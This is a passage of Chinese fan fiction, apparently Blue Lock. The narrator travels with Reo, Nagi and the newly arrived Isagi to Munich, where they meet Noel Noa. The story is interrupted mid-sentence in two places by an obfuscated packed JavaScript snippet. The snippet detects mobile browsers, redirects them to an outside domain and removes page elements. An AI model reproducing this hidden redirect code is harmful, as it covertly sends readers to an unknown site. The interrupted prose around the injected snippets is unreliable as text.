玲王脸上的激情瞬间卡壳,额角似乎有青筋在跳动。他正要开口进行新一轮的“梦想感召”和“金钱诱惑”轰炸,我口袋里的手机突然震动起来。 拿出来一看,屏幕上跳动着“父亲”的名字。 我走到一边接通,父亲那标志性的、带着西班牙语口音的洪亮嗓门立刻穿透了部活室的空气,带着难以抑制的兴奋: “?Hola, mi peque?a amore!(嘿,我的小宝贝!)放假了吧?快!叫上你的朋友们,玲王君和那个……那个白毛的懒小子?对,凪君!一起回家!马上!立刻!爸爸有大惊喜给你们看!绝对震撼!保证比玲王那小子的集训有意思一百倍!快点回来啊!?Vamos!(走起!)” 电话干脆利落地挂断了,留下我在原地一脸懵。大惊喜?比集训有意思一百倍?父亲大人,您又搞什么幺蛾子? 我无奈地转过身,面对两双齐刷刷望过来的眼睛——玲王带着被打断的不爽和好奇,凪则是从“麻烦”中嗅到了一丝“逃避集训”的可能性,眼神难得地亮了一点点。 “咳,”我晃了晃手机,“那个……玲王,凪。我爸……紧急召唤。让我们现在立刻马上,去我家集合。说是……有大惊喜?” “惊喜?”玲王眉头微挑,暂时把集训计划抛到脑后。他对清田爱父亲这位传奇门将的任何举动都抱有极大的兴趣和期待。 “……能不去集训吗?”凪的关注点永远如此精准而节能。 “……大概可以暂时缓缓?”我迟疑地回答。毕竟父亲用了“马上立刻”。 凪立刻像得到了特赦令,以与他体型不符的敏捷,迅速从长椅上“滑”了下来,站直身体:“走。” 言简意赅,目标明确。 玲王看着凪这瞬间复活的样子,又好气又好笑,最终无奈地耸耸肩,收起他的魔鬼计划表:“好吧,既然是伯父的召唤……那就先去看看是什么‘惊喜’吧。” 于是,在玲王对集训的憧憬和凪对逃避训练的庆幸中,我们三人带着满腹的疑惑和不明不白的心情,踏上了回我家的路。 *** 推开熟悉的庭院大门,夏日的花草气息扑面而来。首先映入眼帘的,是正在庭院一角悠闲浇花的母亲。她穿着素雅的居家服,阳光洒在她身上,侧脸线条温柔,嘴角噙着一抹恬静的笑意。她听到动静,转过头,对我们温柔地点点头:“回来了?快进去吧,他们在里面等着呢。” “伯母好!”玲王立刻展现出完美的礼仪,笑容灿烂地鞠躬。凪也慢吞吞地跟着点了点头,目光却带着一丝不易察觉的好奇,打量着这个宽敞雅致的庭院,以及庭院中那个气质温婉的传奇女性球员。 然而,我的视线却完全没有落在母亲身上,也来不及回应她的笑容。因为就在玄关处,一个完全陌生的身影,像一块磁石般牢牢吸住了我的全部注意力。 那是个和我们年纪相仿的男生。身材匀称,穿着普通的白色T恤和深色运动裤,看起来有些拘谨地站在那里。最引人注目的是他那一头乌黑的短发,以及那两撮如同小草般顽强翘起的、标志性的V字形呆毛。他低着头,手指有些无意识地绞着T恤的下摆,露出的侧脸线条干净利落,但紧抿的嘴唇和微微绷紧的下颌线,都透露出他此刻的紧张和窘迫。 他是谁?为什么会在我家?父亲的“惊喜”就是他? 我心中的疑惑如同沸水般翻腾。玲王和凪也显然注意到了这个陌生的少年,脚步同时顿住。 就在这时,一阵爽朗的大笑声从客厅方向传来。父亲高大的身影如同旋风般出现在玄关,他大步流星地走过来,极其自然地将一条手臂搭在了那个黑发少年的肩膀上,动作亲昵得像是认识多年的老友。 “哈哈哈!都回来了?正好!”父亲金发闪耀,笑容灿烂得晃眼,他用力拍了拍身边少年的肩膀,把他往前推了半步,声音洪亮地宣布: “来来来,认识一下!这位是洁世一!跟你们同龄的小伙子!我刚从埼玉带回来的!以后就是一家人了!多关照啊!” “你、你们好!我是洁世一!请多指教!”黑发少年——洁世一像是被推上了舞台中央,身体瞬间绷得更直,猛地抬起头,露出那双如同夏日晴空般清澈又带着紧张闪烁的湛蓝色眼睛。他有些慌乱地鞠躬,声音清亮却带着一丝不易察觉的颤抖,头顶那两撮V字呆毛也跟着他的动作晃了晃。 洁……世一? 一个完全陌生的名字。埼玉带回来的?一家人? 我彻底懵了,大脑一片空白,震惊地看着父亲,又看看那个满脸通红、手足无措的洁世一。父亲大人!您这又是唱的哪一出?!退役生活太无聊所以开始捡人了吗?!还捡了个同龄男生回来?! 玲王也愣住了,他看看我,又看看洁世一,最后目光下意识地飘向旁边同样处于状况外、但脸上明显写着“麻烦增加了”的凪诚士郎。他漂亮的眉头微微蹙起,紫罗兰色的眼眸里闪过一丝极其复杂的情绪,像是想起了什么不太愉快的记忆(比如某人用自行车后座载过我),嘴唇无声地动了几下,最终,一句带着浓浓困惑和微妙醋意的咕哝,清晰地飘进了我的耳朵: “……是遗传吗?” 8. 欧洲之旅 父亲显然也听到了玲王那声咕哝,咳嗽两声,又拍了拍手。试图把我们的注意力召唤回来。 “其实我早就有这个想法了,但碍于你们的学业,一直没有提出来。” 他忽然停顿,显然是在吊我们的胃口。 洁世一的眼睛闪闪发光,满眼都是崇拜。啊,真不公平,他好像已经知道内幕了! 父亲刻意拖长声音:“那就是——” 他张开双臂,笑容灿烂得如同此刻庭院里的阳光,带着一种即将揭开盛大冒险帷幕的兴奋: “欧洲!孩子们!一个超级棒的足球研修旅行!就在这个暑假!” 空气仿佛凝固了一秒。 “欧洲?!”御影玲王的声音第一个冲破了寂静,带着难以置信的狂喜。那双紫罗兰色的眼睛瞬间被点燃,爆发出比夏日骄阳还要璀璨的光芒,整个人像是被注入了无限活力,几乎要原地蹦起来。“伯父!您是说真的吗?!去看比赛?去参观俱乐部?!天呐!这简直是……梦想成真!” 他激动得语无伦次,目光灼灼地看向我父亲,仿佛对方是点石成金的魔法师。 与之形成惨烈对比的,是凪诚士郎。那张本就没什么血色的脸,在听到“欧洲”和“旅行”这两个词的瞬间,以肉眼可见的速度灰败下去。他高大的身躯晃了晃,像是被无形的重锤击中,然后极其缓慢地、带着一种濒临灭绝的绝望感,将目光转向了我。那双总是半睁着的黑色眼睛此刻完全睁开,里面清晰地写着“难以置信”、“被你害惨了”、“人间地狱”几个大字。那眼神幽怨得仿佛我亲手把他推下了去往炼狱的航班,无声地控诉着这比轻井泽集训还要恐怖百倍的“惊喜”。 而洁世一,正如我所料,他激动得脸颊泛红,那双湛蓝的眼睛里充满了纯粹的向往和兴奋,用力地点着头,那两撮标志性的V字呆毛也跟着上下晃动:“是!非常感谢您!清田先生!我一定会珍惜这次机会!” 声音响亮,带着少年人特有的热忱。 “哈哈哈!就知道你们年轻人需要开开眼界!”父亲满意地看着眼前迥异的反应,大手一挥,“我呢,退役了也不能闲着,打算转行做教练!正好趁这个机会,带你们去见见世面,顺便去考察考察那几个顶级的豪门俱乐部——拜塔慕尼黑和巴萨克·多特蒙德都在名单上!我自己也去把教练资格证的最后流程搞定!” 他话音未落,玲王已经激动地握紧了拳头,恨不得立刻出发。凪则是一副灵魂出窍、生无可恋的模样,仿佛“拜塔慕尼黑”和“巴萨克·多特蒙德”是什么吃人的怪兽巢穴。 就在这时,玲王动了。他脸上兴奋的红晕未退,却极其自然地伸手,一把揽住了旁边僵硬的凪诚士郎的肩膀,几乎是半拖半拽地把这个巨大的“节能障碍物”往玄关外、庭院的方向带。 “凪,过来一下,有点事跟你商量。” 他的声音压得很低,带着一种不容置疑的“部长”口吻,但紫眸深处却闪烁着精明的、属于御影家继承人的光芒。 凪被他拖得一个踉跄,像一具失去灵魂的行尸走肉,毫无反抗之力地被玲王带离了客厅。两人在庭院那棵枝繁叶茂的樱花树下站定。玲王背对着我们,微微倾身,凑在凪耳边飞快地说着什么,手指还比划着,像是在进行一场至关重要的商业谈判。凪低垂着头,乱糟糟的白发遮住了他的表情,只能看到他高大的背影透着一股浓浓的“被迫营业”的颓丧。 我听不清具体内容,但能看到玲王说到某个点时,凪的肩膀似乎极其轻微地动了一下。玲王立刻乘胜追击,语速更快,甚至还拍了拍凪的背,像是在给予某种保证或……诱惑? 整个过程不到两分钟。 当玲王再次揽着凪的肩膀走回来时,凪脸上的表情……变了。虽然依旧没什么精神,但那种“世界末日”般的绝望感奇迹般地消散了不少,取而代之的是一种认命的、带着点……嗯,像是签了不平等条约后获得短期缓刑般的微妙平静?他甚至极其轻微地、几乎难以察觉地对父亲点了点头。 “伯父,”玲王笑容灿烂,带着胜利者的姿态宣布,“凪也觉得这是个千载难逢的机会!我们都没问题!” 他放在凪肩上的手,暗示性地微微用力。 父亲哈哈大笑,洪亮的笑声在客厅里回荡:“好!爽快!就这么说定了!” 他完全没在意凪那点细微的变化,或者说,他根本不在乎过程,只要结果是他想要的。“洁君嘛,”他看向依旧激动不已的洁世一,“你这几天就安心住在这里的客房!玲王君和凪君,你们要是不嫌弃,客房还有空,也可以住下!省得来回跑,我们出发也方便!” “不嫌弃!打扰伯父伯母了!”玲王立刻答应,笑容得体又带着点小得意。 凪则是有气无力地“嗯”了一声,算是默认了这“包吃包住包地狱旅程”的全套服务。 *** 时间在签证、打包行李、以及玲王对欧洲之旅的无限憧憬与凪对“节能生活”倒计时的哀悼中飞快流逝。洁世一很快融入了家里的氛围,他对足球纯粹的热爱和谦逊的态度赢得了母亲的好感,也让我那爱玩的父亲找到了一个绝佳的“足球话题”讨论对象。玲王则发挥了他强大的组织能力,把行程细节、装备清单安排得井井有条,俨然一副“副领队”的架势。凪……凪大部分时间都窝在客房的沙发里打游戏,只有在饭点或者被玲王强行拖去进行“保持最低限度身体状态”的散步时才会出现,像一只被迫离开舒适圈的白色大猫。 终于,登机日到了。 成田机场国际出发大厅,人潮涌动。母亲温柔地帮我整理了一下衣领,父亲则像个兴奋的孩子王,戴着墨镜,指挥着舅舅清田智辉——他也作为“后勤保障人员”加入了我们的队伍——核对行李。洁世一背着一个看起来塞满了笔记本和足球杂志的鼓鼓囊囊的背包,眼神里充满了对未知旅程的期待,时不时紧张地推一下鼻梁上并不存在的眼镜。 玲王一身休闲又不失格调的装扮,紫色的短发在机场明亮的灯光下显得格外耀眼,他正拿着护照和登机牌,笑容自信地和机场工作人员沟通着什么,流畅的英语和从容的姿态显示出他对此的驾轻就熟。 而凪……他穿着宽大的连帽卫衣,巨大的白色耳机罩在头上,试图隔绝一切噪音。他推着一个看起来轻飘飘的登机箱,整个人散发着“好想回家睡觉”的低气压,慢吞吞地跟在队伍最后面,像一只被强行拖出洞穴的北极熊。 “各位乘客请注意,您乘坐的JL421次航班飞往德国慕尼黑,现在开始登机……” 广播响起,父亲大手一挥:“出发!目标,欧洲!” 通过廊桥,踏入机舱的那一刻,一股混合着空调冷气和特殊皮革气味的气息扑面而来。巨大的引擎轰鸣声在舱外隐隐作响。我下意识地攥紧了手中的登机牌,指节有些发白。 这是我的第一次海外之旅。十六年来,我的世界只有东京。那些在电视上看过的欧洲古堡、球场、街道,此刻突然变得触手可及,却又因为陌生而显得庞大而令人心慌。脚下的金属地面仿佛带着轻微的震动,提醒着我即将远离熟悉的一切。 玲王很快找到了我们的座位——经济舱靠后一点的位置,三个连排。他极其自然地侧身让我进去:“爱,你坐中间。” 语气带着不容置疑的体贴。 考虑到我第一次坐飞机坐窗边可能会恐高,坐靠近过道的位置又不方便,坐中间确实是个好选择。 我点点头,有些僵硬地坐进那个中间的位置(B座)。玲王随即坐在了我的右边(A座),而凪则慢吞吞地挪过来,把自己庞大的身躯塞进了我左边的靠过道位置(C座)。洁世一和舅舅坐在我们斜前方,父亲母亲则在前面的商务舱——用父亲的话说,他要“养精蓄锐,落地后带你们大杀四方”。 系好安全带,机舱内的灯光调暗了一些。巨大的飞机开始在跑道上滑行、加速,引擎的轰鸣声越来越响,一股强大的推力将身体紧紧压在椅背上。我看着窗外飞速后退的地面灯光和建筑物,心脏在胸腔里不受控制地加速跳动,手心微微沁出了汗。一种脱离掌控的失重感和对未知的茫然紧紧攫住了我。 就在这时,一只温暖的手轻轻覆盖在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我看着他脸上那万年不变的“好麻烦”表情,再感受着手腕上那毫无紧张感可言的、近乎敷衍的握力,瞬间就识破了他拙劣的谎言。这家伙,分明是看到玲王牵了我的手,不知道出于什么心理,也来这么一出! 玲王显然也看到了这一幕,他挑了挑眉,紫眸里闪过一丝了然和促狭的笑意,但他没说话,只是握着我的右手又紧了紧,像是在宣示某种主权,又像是无声的纵容。 看着凪这副“此地无银三百两”的模样,再看看玲王那看好戏的表情,我心底那点无奈和好笑瞬间冲散了最后一丝因高空飞行带来的异样感。我忍不住轻轻笑了出来,手腕微微动了动,却没有挣脱凪那没什么诚意的“钳制”。 我微微侧过头,凑近凪那边,用只有我们三人能听清的声音,带着笑意小声说: “放心吧,凪同学。就算飞到了地球另一边,” 我顿了顿,目光扫过他依旧没什么表情的侧脸,语气带着点安抚的认真,“我们也不会把你一个人丢在异国他乡的。说好的‘有难同当’嘛,虽然这次看起来更像是‘有福同享’?” 听到“有难同当”四个字,凪那没什么焦点的黑色瞳孔似乎极其细微地波动了一下。他依旧没有转头,只是抿了抿唇,喉结不明显地滚动了一下,抓着我的手……似乎也极其轻微地、短暂地收紧了一瞬,快得像是错觉。随即,他又恢复了那副懒洋洋握着的姿态,仿佛刚才那一丝波动从未发生。 他没再说话,只是重新戴上了那只摘下的耳机,把自己彻底埋进了音乐(或游戏音效)的世界里,只留下那只微凉的手,依旧松松地圈着我的左手腕。 机舱内灯光昏暗,引擎发出低沉的嗡鸣。我的右手被玲王温暖的手掌包裹着,带着令人安心的力量;左手手腕则被凪微凉的手指松松圈住,像一道若有似无的、属于“节能生物”的奇特羁绊。 窗外,是无垠的云海和璀璨的阳光,下方是蔚蓝的大西洋。巨大的金属飞鸟正载着我们,平稳地掠过欧亚大陆的上空,朝着那片孕育了无数足球传奇、即将展现在我们面前的绿茵圣地——德国,坚定地飞去。 第一次离开东京,离开熟悉的一切,飞向陌生的远方。心中那点残留的忐忑,此刻竟奇异地被一种踏实的暖意和隐隐的期待所取代。我轻轻吸了一口气,空气中似乎已经能嗅到,来自慕尼黑安联球场那混合着青草与狂热梦想的气息。 9. 拜塔慕尼黑 刚下飞机,凪诚士郎就嚷嚷着饿了,不知道真饿假饿。御影玲王一只手捂住脸,就像因为儿子在外不懂场合尴尬的老父亲。 父亲笑呵呵地带着我们去吃了德国菜,打破了我对白人饭的刻板印象。好多、好多肉,他们好像真的很喜欢吃肉,炖肉、烩肉、煮肉,就是配菜实在有些酸。 洁世一显得拘谨又礼貌,传统地双手合十喊了一句:“我开动了”才开始吃。 巨大的木盘端上来时,连玲王都挑了下眉。堆成小山的烤猪肘,油亮的脆皮闪着琥珀色的光,旁边是扎实的香肠盘,足有五六种不同粗细和颜色的肠子纠缠在一起,散发着浓郁肉香和烟熏味。还有炖得软烂入味的牛肉卷,裹着深棕色的酱汁。空气里全是油脂与香料狂欢的气息。 “来来来,别客气!”父亲豪迈地一挥手,率先用刀叉切下一大块肘子皮,咔嚓的脆响听得人牙根发痒,“正宗巴伐利亚风味!这才是男人的食物!”他叉起那块几乎透明的脆皮,蘸了满满一碟黄芥末酱,塞进嘴里,满足地眯起湛蓝的眼睛。 凪的眼睛在肉山上逡巡了一圈,那点“被迫营业”的萎靡似乎被油脂的光泽驱散了些许。他慢吞吞地叉起一根白肠,试探性地咬了一口,随即被烫得“嘶”了一声,但还是顽强地嚼了下去,脸上没什么表情,但进食速度明显加快了。 玲王则优雅许多,熟练地用刀叉分离着猪肘的脆皮、肥肉和精肉,搭配着旁边酸得让人皱眉的德国酸菜和土豆泥,试图寻找平衡点。“味道……确实很扎实。”他评价道,紫眸里带着对异国食物的新奇审视。 我的盘子里堆着父亲夹来的各种“精华”部位。脆皮焦香,肥肉入口即化,精肉带着烟熏的韧劲,但吃了几口,那厚重的油腻感就糊住了喉咙。我叉起一撮酸得惊人的紫甘蓝丝,试图解腻,酸味直冲天灵盖,激得我打了个寒颤。 “噗。”玲王没忍住,低笑出声,连忙递过水杯,“喝点水缓缓。这酸菜……是有点厉害。”他嘴角噙着笑,紫眸里是促狭的亮光。 洁世一正襟危坐,小口小口地吃着切好的香肠和土豆泥,动作一丝不苟。每次父亲热情地招呼他“多吃点肉”,他都会立刻放下刀叉,认真地点头回应:“是!非常美味!谢谢清田先生!” 那两撮V字呆毛随着他的动作轻轻晃动,拘谨中透着少年人掩饰不住的兴奋。 “洁君,放松点嘛!”父亲显然也注意到了,大笑着又给他添了一大块牛肉卷,“到了德国,就要像德国人一样,大口吃肉!吃饱了才有力气去看拜塔的训练基地!” 听到“拜塔训练基地”几个字,洁世一的眼睛“唰”地亮了起来,如同瞬间注入了高能光束。他握着叉子的手微微收紧,脸颊因为激动泛起红晕,声音都拔高了一度:“是!我一定会好好吃的!” 凪从一堆肉骨头里抬起头,慢吞吞地看了洁世一一眼,那眼神像在看一个突然启动的奇怪装置,又带着点“至于吗”的茫然。 一顿饭在油脂、酸味和洁世一越来越高的期待值中结束。走出餐厅,慕尼黑夏末午后的阳光暖洋洋地洒在身上,带着异国清爽的风。洁世一几乎是飘着走的,脚步轻快,视线贪婪地扫过街道两旁充满德式风情的建筑,嘴里念念有词,似乎在背诵什么。 前往拜塔慕尼黑训练基地的车程不算短。洁世一坐在靠窗的位置,鼻尖几乎要贴在玻璃上,眼睛一眨不眨地盯着前方,仿佛下一秒那座足球圣殿就会从地平线跃出。 “……有这么高兴吗?”凪诚士郎懒洋洋的声音从旁边传来,带着一丝货真价实的困惑和“无法理解”的疲惫。他把自己陷在座位里,像一块被太阳晒化的白色橡皮泥,与旁边持续高能输出的洁世一形成惨烈对比。 洁世一猛地回过头,那双湛蓝的眼睛亮得惊人,里面燃烧的火焰几乎能把凪的节能外壳烧穿一个洞:“当然!那可是拜塔慕尼黑!欧洲最顶级的豪门之一!他们的青训体系是世界标杆!战术理念!球员培养!还有诺亚先生!他可是……”提到这个名字,洁世一的声音瞬间拔高,语速快得像开了倍速播放,关于拜塔的历史、荣誉、战术打法、现役球星(尤其是某位前锋)的信息如同决堤洪水般滔滔不绝地涌向凪。 凪那半睁着的黑色眼睛瞬间瞪圆了。他大概只是想随便问一句缓解无聊,没想到直接引爆了一座名为“足球狂热”的火山。洁世一那机关枪似的语速、密集的信息轰炸、以及眼中毫不作伪的、几乎要化为实质的崇拜光芒,瞬间将凪淹没。他高大的身躯僵硬了,脸上那点仅存的慵懒被一种巨大的、名为“信息过载”和“自找麻烦”的恐慌取代。他下意识地缩了缩脖子,眼神慌乱地开始左右逡巡,像一只误入狼群的迷途羔羊,无声地发射着求救信号。 “玲王……清田……”他试图开口,声音微弱。 然而,他求救的目光落空了。我和玲王不知何时已经默契地挪到了车厢稍前的位置,正凑在一起低声讨论着什么。玲王指着窗外掠过的一片绿茵场,侧头对我说话,紫色的发丝在阳光下跳跃,嘴角带着轻松的笑意。我则听着,偶尔点头回应,目光也被窗外的景色吸引。 凪的目光在我们并肩的背影上停留了两秒,又看看身边依旧在“拜塔、诺亚、战术板”无限循环的洁世一,那张帅气的脸上第一次清晰地浮现出一种名为“绝望”的表情。他默默地、极其缓慢地抬起双手,捂住了自己的耳朵,把脸转向另一边车窗,试图用物理隔绝和装死来逃避这场由他一句无心之问引发的“精神风暴”。 车子最终驶离市区,进入一片开阔的、绿意盎然的区域。道路两旁是整齐的树木和精心修剪的草坪,空气都仿佛清新了许多。远远地,一片极具现代感的建筑群出现在视野里。银灰色的流线型主楼在阳光下熠熠生辉,旁边是数块如同巨大翡翠般镶嵌在绿地上的标准训练场,草皮绿得晃眼。巨大的红蓝相间的队徽旗帜在主楼顶端迎风招展,无声地宣告着此地的身份——拜塔慕尼黑训练基地,萨本纳大街! “到了!”父亲的声音带着自豪,仿佛这是他的主场。 车子在基地主楼气派的大门前停下。我们刚下车,主楼那光洁的玻璃门便向两侧滑开。一群人已经等在了门口,有穿着俱乐部制服的工作人员,也有几位穿着运动服、身材健硕、看起来像是教练或管理层的人。他们脸上都带着热情的笑容,目光齐刷刷地聚焦在父亲身上。 “嘿!老伙计们!好久不见!”父亲张开双臂,洪亮的笑声在空旷的入口大厅回荡。他大步流星地迎上去,用德语夹杂着英语,熟稔地拍打着为首几人的肩膀,叫着他们的名字,互相拥抱。气氛瞬间热烈起来,充满了老友重逢的喜悦。 就在这热闹的寒暄声中,一个身影分开人群,不紧不慢地走了出来。 那人身材高挑挺拔,穿着一身剪裁极佳的拜塔训练服。引人注目的是他一头打理得一丝不苟的耀眼白发,以及一双如同淬炼过的黄金般、冰冷而锐利的眼眸。他的面容极其英俊,轮廓深邃如同雕塑,但周身却散发着拒人千里的冰冷气场,仿佛一座移动的冰山。他只是站在那里,就仿佛让周围热烈的空气温度骤降了几度。 “诺埃尔!”父亲看到他,眼睛一亮,脸上的笑容更加灿烂,带着一种熟稔的戏谑,“看看这是谁!我们拜塔的‘皇帝陛下’亲自出来迎接了?真是受宠若惊啊!” 他走上前,作势要给对方一个熊抱。 被称为诺埃尔的白发男人——诺埃尔·诺亚,微微侧身,以一种极其精准又优雅的姿态避开了父亲的热情拥抱。他金色的眼眸冷淡地扫过父亲,薄唇轻启,吐出的德语发音清晰而冰冷,像冰珠砸落玉盘: “少来这套。你的拥抱还是留给球门柱比较合适,至少它不会嫌弃你身上的烤肉味。” 他停顿了一下,目光在父亲明显圆润了些许的腰身上停留了一瞬,又补充道,“看来退役生活很滋润。门将的敏捷性还剩多少?百分之五十?还是三十?” 噗—— 我差点没憋住笑。这反差也太大了!外表像个冷酷无情的终结者,说出来的话却像在跟老友斗气的小学生!还精准打击父亲的“痛点”——腰围和退役状态。 父亲果然被噎了一下,随即佯怒地瞪起他那双湛蓝的眼睛:“喂!诺埃尔!你这张嘴还是这么毒!我敏捷性怎么了?要不要现在就比划比划?让你看看什么叫宝刀未老!” 他像个不服输的孩子一样撸起了袖子。 诺亚金眸里掠过一丝极其细微的、几乎难以察觉的笑意,快得如同错觉。他依旧板着脸,用毫无起伏的冰冷语调回应:“免了。俱乐部草坪很贵,赔不起你摔坏的老骨头。” 说完,他的目光终于转向了我们这群“背景板”,带着审视的意味。 而就在诺亚出现的瞬间,我身边的洁世一就像被按下了暂停键,整个人完全僵住了。他之前滔滔不绝的激动消失了,脸上兴奋的红晕褪去,变成了一种近乎苍白的、被巨大冲击击中的空白。他的眼睛瞪得前所未有的大,瞳孔里清晰地映着诺亚的身影,仿佛整个世界只剩下那一个人。那里面翻涌着如同实质般的、纯粹到极致的崇拜、敬畏和难以置信的激动,浓烈得几乎要溢出来,将他整个人淹没。他微微张着嘴,却发不出任何声音,只是无意识地攥紧了拳头,指节用力到发白,身体甚至因为过度激动而有些微不可察的颤抖。 我甚至不用猜,就知道。诺埃尔·诺亚——那个把球踢进球门、让无数门将(包括我父亲)恨得牙痒痒的世界级前锋,就是洁世一奉若神明的偶像。这反应,比最狂热的追星族有过之而无不及。 玲王显然也注意到了洁世一的异状,他紫眸中闪过一丝了然,随即又带着点兴味看向正在“斗嘴”的父亲和诺亚。一个曾经的世界第一门将,一个现役的世界顶级前锋,这对球场上的“死对头”,私下里的互动竟是这种小学鸡拌嘴模式?这反差萌得有点过分了。 凪则是一脸“终于可以安静了”的解脱感,悄悄往我身后挪了半步,试图降低存在感。他大概觉得,比起洁世一的信息轰炸,眼前这俩老男孩的斗嘴至少音量比较低。 “好了好了,老伙计,在孩子面前给我留点面子。”父亲终于败下阵来,笑着摆摆手,侧身把我们让出来,“来来,介绍一下,这是我女儿,清田爱。还有她的朋友们,御影玲王,凪诚士郎,洁世一。” 他特意指了指洁,“洁君可是你的忠实拥趸,特意从日本飞来看你的。” 诺亚那双冰冷的金眸随着父亲的介绍,一一扫过我们。目光掠过玲王时,在他那头显眼的紫发和从容的气度上停留了一瞬;扫过凪时,似乎对他那副“节能至上”的姿态微微挑了下眉;落在我身上时,带着一种审视的平静;最后,定格在依旧处于石化状态的洁世一身上。 被偶像的目光直接锁定,洁世一像是被一道电流击中,猛地回神。他瞬间站得笔直,如同接受检阅的士兵,脸颊爆红,几乎要滴出血来。他深吸一口气,猛地一个九十度深鞠躬,声音因为紧张而拔高到破音: “诺、诺亚先生!初次见面!我是洁世一!来自日本!非常……非常荣幸见到您!请……请多指教!” 最后一个字几乎是吼出来的,尾音带着颤,在空旷的大厅里回荡。 这动静把旁边几位俱乐部工作人员都吓了一跳。玲王捂住了额头,凪默默又往我身后缩了一点。 诺亚脸上依旧没什么表情,只是那冰冷的金色眼底,似乎掠过一丝极其微弱的、类似“有趣”的波动。他微微颔首,算是回应,声音依旧没什么温度,但似乎比对父亲说话时稍微……平和了那么一丝丝? “欢迎来到拜塔慕尼黑。” 简单的几个字,对洁世一来说却如同天籁。他猛地抬起头,眼睛里瞬间迸发出比太阳还要璀璨的光芒,激动得嘴唇都在哆嗦,似乎下一秒就要喜极而泣。 “行了行了,别杵在这儿了。”父亲适时地打破这有点好笑的局面,大手一挥,“诺埃尔,带路吧?让孩子们开开眼,看看你们是怎么把那些小天才们操练成世界级球星的!” 诺亚瞥了父亲一眼,没再斗嘴,只是简洁地说了声“Follow me”,便转身迈开长腿,朝着基地内部走去。那挺拔的背影和冰冷的白金色泽,在明亮的通道里像一把出鞘的利刃。 我们一行人连忙跟上。洁世一几乎是同手同脚地跟在诺亚身后几步远的地方,眼睛一眨不眨地盯着偶像的背影,仿佛怕他突然消失。玲王和我并肩走着,他凑近我耳边,压低声音,带着笑意:“看来这趟旅行,对洁君来说,已经值回票价了。” 我点点头,目光也好奇地打量着四周。通道宽敞明亮,两侧的墙壁上挂满了巨幅照片和荣誉展示柜。照片里是拜塔辉煌的历史瞬间:欧冠捧杯的狂喜、联赛夺冠的庆祝、传奇球星的飒爽英姿……那些定格的笑容和汗水,无声地诉说着这座足球圣殿的荣耀与底蕴。玻璃柜里陈列着闪亮的奖杯和具有纪念意义的球衣,在射灯的照耀下熠熠生辉。空气里弥漫着消毒水、草皮清香和一种……名为“顶级”的、无形的压力与动力混合的气息。 穿过荣誉长廊,视野豁然开朗。巨大的落地玻璃墙外,是数块顶级标准的训练场。绿茵如毯,白线分明。此时并非一线队的训练时间,但几块相邻的场地上,身着拜塔红蓝训练服的梯队球员们正在教练的带领下进行着高强度的分组对抗和技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251809|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术训练。 节奏快得惊人。 传球如同手术刀般精准,接应跑位行云流水,对抗激烈却不失章法。每一次触球、每一次传递、每一次冲刺都带着明确的目的性和强大的执行力,几乎没有多余的盘带和犹豫。场边教练的哨声和指令声短促有力,球员们的回应简洁明了,整个训练场像一台高速运转、精密配合的战斗机器。 别说洁世一看得目瞪口呆、呼吸急促,就连玲王那双见惯了大场面的紫眸里也充满了震撼和凝重。他微微抿着唇,视线紧紧追随着场上的每一次攻防转换,手指无意识地蜷起又松开,像是在脑海中飞快地拆解着那些精妙的配合。这才是真正的职业足球,残酷、高效、分秒必争,每一刻都在燃烧着天赋与汗水。 凪……凪的表情就复杂多了。他高大的身躯靠在冰凉的玻璃幕墙上,半睁着的黑色眼睛懒洋洋地看着场下飞奔的身影。初看依旧是那副“好麻烦”、“好累”的节能模式,但若仔细看,他那缺乏焦点的瞳孔深处,似乎也映入了那些流畅的传递和犀利的穿插。当某个梯队小球员用一个极其灵巧的脚后跟磕球过掉防守队员时,凪那长长的白色睫毛极其轻微地颤动了一下,快得几乎无法捕捉。或许,他身体里那个沉睡的、对“球”有着本能的怪物,也在被这顶级的环境无声地撩拨着? 父亲抱着手臂,看得津津有味,时不时和旁边的诺亚低声交流几句,用的是德语。诺亚大部分时间只是冷淡地点头或简短回应,目光锐利地扫视着场上的每一个细节。 “怎么样,小子们?”父亲回过头,带着点炫耀的意味看向玲王和凪,当然也没漏掉眼睛发直的洁世一,“见识到差距了没?这还只是梯队的小崽子们!” 洁世一用力点头,眼神狂热:“太厉害了!节奏、意识、配合……完全是另一个层次!” 他恨不得拿个小本本把看到的一切都记下来。 玲王深吸一口气,紫眸中燃烧起更旺盛的火焰,那是对挑战的渴望和对更高境界的向往:“令人敬畏。但也……让人兴奋!” 他看向凪,意有所指。 凪慢吞吞地“嗯”了一声,算是回应,目光依旧没什么焦点地落在下方。但我知道,玲王那句“兴奋”并非空穴来风。只是凪的“兴奋”阈值太高,表达方式过于节能。 诺亚似乎对父亲炫耀式的发言不置可否。他金色的眼眸扫过我们四人,最终落在了我身上。那目光带着一种纯粹的、职业性的审视,冰冷而直接,仿佛能穿透皮囊看到骨骼和肌肉的纹理。 他喊了父亲的名字,但视线却锁定了我,用的是英语,确保所有人都能听懂,“你女儿。她的步态协调性很好,核心很稳。骨骼结构和肌肉类型……有天赋的影子。” 他的声音毫无波澜,像在陈述一项客观的检测数据。 父亲闻言,立刻挺起胸膛,一脸得意:“那是!也不看看是谁的女儿!我跟你说,她小时候……” “但缺乏系统训练痕迹,运动神经的激活度很低。”诺亚毫不留情地打断了父亲的吹嘘,金眸依旧看着我,像是在评估一件待加工的璞玉,“浪费。” 最后两个字,轻飘飘的,却像冰锥一样刺人。 我微微一怔。虽然我对踢球没兴趣,但被一个世界顶级前锋如此直白地点评为“浪费”,心里还是有点微妙的不舒服。尤其是他那双毫无感情的金色眼睛,仿佛在宣判某种死刑。 